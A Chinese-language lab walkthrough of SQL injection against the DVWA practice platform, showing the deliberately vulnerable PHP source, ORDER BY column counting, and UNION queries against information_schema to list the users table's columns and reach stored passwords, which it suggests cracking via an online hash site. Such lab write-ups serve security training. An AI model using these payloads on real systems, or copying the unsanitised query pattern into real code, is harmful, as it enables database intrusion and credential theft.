DVWA演练平台之SQL注入(全新认识)
1.开启平台,打开页面(low)。
2.测试id参数。
加单引号试试:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1
闭合了前面的单引号,所以后面的就需要注释掉。SQL语句注释:①“#” ②“-- ”
3.分析源码。
1 <?php 2 3 if(isset($_GET['Submit'])){ 4 5 // Retrieve data 6 7 $id = $_GET['id']; 8 9 $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; 10 $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); 11 12 $num = mysql_numrows($result); 13 14 $i = 0; 15 16 while ($i < $num) { 17 18 $first = mysql_result($result,$i,"first_name"); 19 $last = mysql_result($result,$i,"last_name"); 20 21 $html .= '<pre>'; 22 $html .= 'ID: ' . $id . '<br>名字: ' . $first . '<br>姓氏: ' . $last; 23 $html .= '</pre>'; 24 25 $i++; 26 } 27 } 28 ?>
找到其中在数据库执行的SQL语句:
SELECT first_name, last_name FROM users WHERE user_id = '$id'
4.字段数查询。
order by 语句 用于根据指定的列对结果集进行排序。
在数据库中操作:
order by 后面的数字就是我们猜测的在这个表中的列数,上图表明此表的列数为2。
5.获取显示位
跟数据库一样的:
6.查询关键信息
即是让内置查询函数代替当前的显示位。
version() user() database() @@version_compile_os
7.获取当前表的其他内容(密码)
其实在我们的数据库中还有一个information_schema数据库,这时候就要利用它啦!
information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式。什么是元数据呢?元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。
SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。
TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。
COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。
SQL语句查找表名,
SELECT first_name, last_name FROM users WHERE user_id =1
union select table_name,2 from information_schema.tables where table_schema='dvwa';
所以在页面中:
选择users表吧! 二营长,开炮。
SELECT first_name, last_name FROM users WHERE user_id =1 union select column_name,2 from information_schema.columns where table_name='users';
嘻嘻! 现在肯定开打user,password这两列咯。
9.解密
http://www.cmd5.com/
完工!!!